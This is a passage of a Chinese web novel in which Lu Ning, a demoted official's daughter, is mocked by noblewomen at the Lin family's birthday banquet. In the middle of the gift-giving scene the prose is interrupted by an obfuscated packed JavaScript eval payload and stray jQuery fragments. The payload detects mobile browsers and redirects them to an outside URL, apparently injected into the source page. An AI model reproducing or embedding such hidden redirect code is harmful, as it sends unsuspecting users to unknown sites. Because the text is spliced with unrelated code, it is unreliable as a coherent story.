天蒙蒙亮，陆宁就已收拾好包裹。


    无论昨夜潜入的人是武德司密探还是其他的势力，这客栈都不能再留。


    她刚迈出客栈门槛两步，一个身着褐色绸衫的中年男子便拦在了面前，“可是陆姑娘？”


    来人拱手作揖，眼角堆着恰到好处的笑纹。不等她开口，那人便继续自报家门的说道：“在下是林府管事，姓周。前日姑娘递来的拜帖，因老爷外出未归，我等不敢自作主张，便耽搁了回复姑娘。”


    他侧身让出路来，“今日特奉老爷之命，请姑娘过府一叙。”一辆垂着青纱的马车缓缓驶来，车辕上左右挂着的灯笼写着大大的“林”字，显得格外醒目。


    陆宁沉吟片刻，终是上了马车。


    马车缓缓驶入西街道，外间的喧闹声渐渐清晰起来。透过纱帘的缝隙，陆宁远远望见林府门前张灯结彩的景象。


    朱漆大门上新刷的桐油在朝阳下泛着润泽的光，丈二长的“寿”字锦幡从门楣垂落至地，金线绣就的篆书在绛红缎面上熠熠生辉。檐下八盏走马灯不停转动，隐约可见八仙祝寿的剪影在其间流转。


    大门外停满了各色轿子和车辇，六名小厮分立门外两侧，司礼官手持名帖簿，待有贵客入内，便高声通报，声音洪亮悠长。


    而她的车辇并未在正门停留，而是径直驶向西侧一处不起眼的角门。陆宁下马车时，正见一队捧着锦盒的仆役从教门鱼贯而入。周管家不动声色地上前，恰到好处地挡住了她的视线：“陆姑娘请随我来。”


    穿过几重曲折的回廊，周管家将陆宁引入一处内厅，“还请姑娘在此稍候，老爷一会便来。”


    说完便匆匆离去，脚步声很快消失在走廊尽头。


    厅内已坐着七八位盛装女子，珠翠环绕间，陆宁那身半旧的素色衣裙显得格外突兀。陆宁在左侧一处空位坐下，帷帽垂下的轻纱随着她的动作微微晃动。她能清晰地感受到对面几位贵女投来的打量目光。


    “这是哪家的小姐？怎么穿得如此寒酸？竟还带着帷帽，怕不是因为丑不敢见人。”对面一女子用团扇半掩着嘴，对那缂丝霞帔女子说道。她刻意压低的声音在安静的厅堂里格外清晰，尾音还在最后几个字加重。


    披着缂丝霞帔的女子并未答话，而是慢条斯理地摇着手中的团扇。扇面上绣着精致的牡丹，随着她的动作轻轻晃动。她微微扬起下巴，目光透过半垂的眼帘斜睨着陆宁，毫不掩饰眼中的轻蔑之色。


    陆宁虽然尚不清楚具体情形，但眼前这一幕已经足够让她明白当下的处境。但她并不在意，她只需要等到林如海，将事情办妥即可。


    一旁杏黄衫子的圆脸少女怯生生凑近，眼中带着真诚的好奇：“这位姐姐瞧着面生，你也是来给林老夫人贺寿的么？”


    未等陆宁回应，那缂丝霞帔女子便嗤笑一声：“何必多问？看这打扮，怕是哪家穷亲戚来打秋风的吧？”


    堂内的气氛因这嘲讽之意而变得微妙起来。


    那缂丝女子见陆宁沉默，还以为自己说中了，嘴角的笑意更深了几分：“我看今日怕是贺礼都没有准备吧。”


    说着，她转向陆宁一旁的圆脸少女，“秀红妹妹，我听说你的寿礼是你亲手绣的手帕？她故意停顿了一下，嘴角勾起一抹讥诮的弧度，“难为你这般费心，也是，你父亲初入上京为官，根基不深，想来也拿不出什么重礼来。”话音未落，又意有所指地瞥了陆宁一眼。


    被唤作秀红的少女脸顿时涨得通红，纤细的手指紧紧绞着衣角，指节都泛了白。她求助似的望向平日交好的几位小姐，却见她们纷纷低头品茶，无人敢触缂丝女子的霉头。


    “贺寿重在心意。”陆宁的声音突然响起，“将礼价挂在嘴边，倒像是市井商贾做买卖。难不成这收礼之人是攀高贬低之辈，还将礼物分为三六九等？”


    缂丝女子脸色瞬间变得煞白，手中的团扇合上，正要发作。


    “老夫人到！”


    随着一声通传，厅外传来环佩叮当之声。众人慌忙起身，只见一位满头银发的老夫人被丫鬟搀扶着缓步而入。她身着绛紫色寿字纹锦袍，金线绣就的福寿图案在行走间流光溢彩。头戴金丝八宝攒珠冠，虽已年过六旬，却精神矍铄，一双眼睛锐利如鹰。


    “给老夫人贺寿。”众人齐声行礼。


    林老夫人目光扫过众人，在陆宁身上停留了一瞬，眼中闪过一丝不易察觉的冷意，随即又恢复了慈祥的笑容：“都起来吧，今日老身寿辰，诸位能来乃是我林府之荣幸。”


    贺寿环节开始，珍玩奇宝如流水般呈上。有献上名家字画的，有呈上珍稀药材的，还有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531901|169788||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    送上精巧绣品的。


    轮到缂丝女子时，她得意洋洋地命四个小厮抬上一个红木匣子。匣盖掀开打开后里面竟然是一株通体赤红的珊瑚树，足有一人这么高，引得众人惊叹连连。


    “这是南海百年珊瑚，特意请高僧开过光的。”她声音甜腻，“据说放在卧室还有助于睡眠。”


    林老夫人竟亲自起身，颤巍巍地走到珊瑚树前，枯瘦的手指轻轻抚过枝桠：“好孩子，难为你这般用心。”她拉着女子的手轻拍，眼尾笑纹里藏着深意。说着便将手上那枚祖传的翡翠戒指径直套在女子的拇指上。


    满座宾客交换着眼色，有几个甚至悄悄掩嘴轻笑。谁不知今日寿宴实则是为林家嫡孙相看媳妇？那缂丝女子却羞红了脸，低头绞着帕子，眼角却忍不住瞟向厅外，似是在期待某人出现。


    现如今林家确实今非昔比，自从攀上二皇子这棵大树，林如海在朝中的地位水涨船高。更难得的是，那林家公子林煜不仅才华横溢，更生得一副好相貌不知让多少闺阁小姐芳心暗许。


    待到众人都献完贺礼，唯独陆宁还静坐一处。老夫人身旁那位着贵妇故作惊讶的问道：“这位姑娘是...？”


    林老夫人眼皮都不抬，声音轻得仿佛在说一件无关紧要的小事：“这是当年我儿外放出去做官时，同僚的女儿。得知她上京来，便邀请她过来。”


    厅内顿时响起一阵窸窸窣窣的议论声。所有人的目光都聚焦在陆宁身上，像在看一件稀奇的物件。那些目光中带着探究，带着嘲弄，更多的是等着看好戏的期待，这样一个寒门女子，能拿出什么像样的寿礼？


    陆宁缓缓起身，素色的衣裙在满堂锦绣中显得格外素净。她向林老夫人行了一礼，动作不卑不亢：“晚辈陆宁，祝老夫人福如东海，寿比南山。”


    说完，她便从容落座，没有献礼，没有多余的奉承，就这样简简单单的两句祝词。


    缂丝女子拌掩着团扇后的红唇勾起讥诮的弧度。其他贵女们也纷纷掩嘴轻笑，眼中满是轻蔑。


    这算是什么贺寿？


    林老夫人心中冷笑，果然是小门小户出来的，难登大雅之堂。一个被贬官员的女儿，能有什么体面的贺礼？她今日故意不提前告知，直接把人拉来寿宴，就是要让这陆家姑娘在众人面前出丑，知难而退。